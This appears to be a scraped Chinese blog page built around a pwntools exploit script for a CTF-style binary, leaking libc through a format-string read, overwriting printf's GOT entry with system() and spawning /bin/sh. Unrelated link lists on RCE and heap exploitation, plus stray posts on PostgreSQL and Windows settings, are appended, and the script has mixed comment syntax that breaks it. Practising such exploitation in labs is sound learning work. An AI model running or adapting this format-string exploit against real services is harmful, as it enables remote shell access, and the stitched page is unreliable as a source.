1 from pwn import*
2
3 local =1
4 debug = 1
5
6 if local:
7 p = process('./pwn1')
8 else:
9 p = remote("127.0.0.1",8080)
10
11 #context.log_level = 'debug'
12 '''
13 if debug:
14 gdb.attach(p)
15 '''
16 def fms(data):
17 p.recvuntil("input$",timeout=4)
18 p.sendline("")
19 p.recvuntil("please input your name:\n")
20 p.sendline(data)
21
22
23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
24 elf = ELF('./pwn1')
25
26 fms('%35$p')
27
28 libc_start_main_addr = int(p.recv(10),16) - 243 #__libc_start_main//?
29 libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']//?
30 print "libc_addr =",hex(libc_addr)
31
32 printf_got = elf.got['printf']//got表地址
33 print "printf_got =",hex(printf_got)
34
35 system_addr =libc_addr + libc.symbols['system']//symbols['system']函数地址
36 print "system_addr =",hex(system_addr)
37 //ELF模块
38 #make stack
39 make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1)
40 fms(make_stack)
41 #gdb.attach(p)
42
43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn"
45 print "payload=",payload
46
47 fms(payload)
48 fms('/bin/sh\x00')
49 p.interactive()

exp分析的更多相关文章

  1. CVE-2012-0158基于exp分析

    CVE-2012-0158这个洞我之前分析过,漏洞战争这本书里也写过,但是都是用poc分析的,我这次找了一个弹计算器的exp来分析,感觉用poc和用exp还是不一样的,从exp分析要比从poc分析更复 ...

  2. ThinkPHP5 远程命令执行漏洞分析

    本文首发自安全脉搏,转载请注明出处. 前言 ThinkPHP官方最近修复了一个严重的远程代码执行漏洞.这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语 ...

  3. Joomla 3.4.6 RCE复现及分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:whojoe(MS08067安全实验室SRST TEAM成员) 前言 前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下 ...

  4. House of Roman 实战

    前言 这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录. 这种利用手法的主要特点是不需要 leak libc的地址,通过 堆内存的布局 和 堆相关的漏 ...

  5. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  6. 应用安全 - 工具 | 平台 -webmin - 漏洞 - 汇总

    简介 开发语言 PHP 用途系统管理 CVE-2019-15642 Date2019.7 类型远程代码执行 影响范围Webmin <= 1.920 复现POC|EXPOBJECT Socket; ...

  7. XCTF python-trade

    一.查看文件类型 后缀名为pyc,说明是python字节码文件,python和java在编译方式上很像,都是编译兼并解释型,先编译成字节码,在虚拟机上解释成机器代码. 二.反编译 三.写个exp 分析 ...

  8. Anchor CMS 0.12.7 跨站请求伪造漏洞(CVE-2020-23342)

    这个漏洞复现相对来说很简单,而且这个Anchor CMS也十分适合新手训练代码审计能力.里面是一个php框架的轻量级设计,通过路由实现的传递参数. 0x00 漏洞介绍 Anchor(CMS)是一款优秀 ...

  9. golang.org/x/mobile/exp/gl/glutil/glimage.go 源码分析

    看这篇之前,建议先看之前几篇,这几篇是基础. Go Mobile 例子 basic 源码分析 http://www.cnblogs.com/ghj1976/p/5183199.html OpenGL ...

随机推荐

  1. PostgreSQL 导出导入表中指定查询数据

    创建一临时表: create table test_view as select * from test where date(to_timestamp(endtime))>='2012-09- ...

  2. 浮点数据与IEE754

    在计算机系统(包括单片机)中,浮点数(单精度float和双精度的double)对采用IEE-754标准.该标准为 32 位浮点和 64 位双精度浮点二进制小数定义了二进制标准. IEEE 754 用科 ...

  3. unity3d + photon + grpc + nodejs + postgis/postgresql 游戏服务器设计

    unity3d + photon + grpc + nodejs + postgis/postgresql 游戏服务器设计 最近做玩票性质的游戏项目,客户端技术是 unity3d 和 android. ...

  4. c#基础2-out-ref

    //out参数要求在方法的内部 ; JiangJin(ref salary1); Console.WriteLine(salary1); Console.ReadKey(); 必须为其赋值 out.r ...

  5. js控制语句

    1 条件判断语句 条件语句用于基于不同的条件来执行不同的动作. 1.1if 语句 if (condition){    当条件为 true 时执行的代码} 1.2if...else 语句 if (co ...

  6. 3、HTTP content-type

    HTTP content-type Content-Type,内容类型,一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式.什么编码读取这个文件, ...

  7. Hive的HQL(2)

    Hive基础(1) Hive的HQL(2) 1. HQL的数据定义,HQL是一种SQL方言,支持绝大部分SQL-92标准.但是和SQL的差异为:不支持行级别的操作,不支持事务等.HQL的语法接近于My ...

  8. Hybrid框架安全隐患分析

    Hybrid框架安全隐患分析 目前我司移动端项目中各种app如雨后春笋般生根发芽层出不穷.而利用Hybrid框架确实可以减轻一部分移动端压力.并且做到灵活发版.但是其中的安全问题往往让人忽略. 针对A ...

  9. copyout函数

    copyout Kernel Service   Purpose Copies data between user and kernel memory. Syntax #include <sys ...

  10. [windows]窗口文件夹中使用常见任务

    文件夹中使用常见任务,如截图所示增加红色框部分. 设置步骤: 我的电脑--〉右键--〉属性--〉高级选项--〉性能设置--〉自定义:勾选在文件夹中使用常见任务.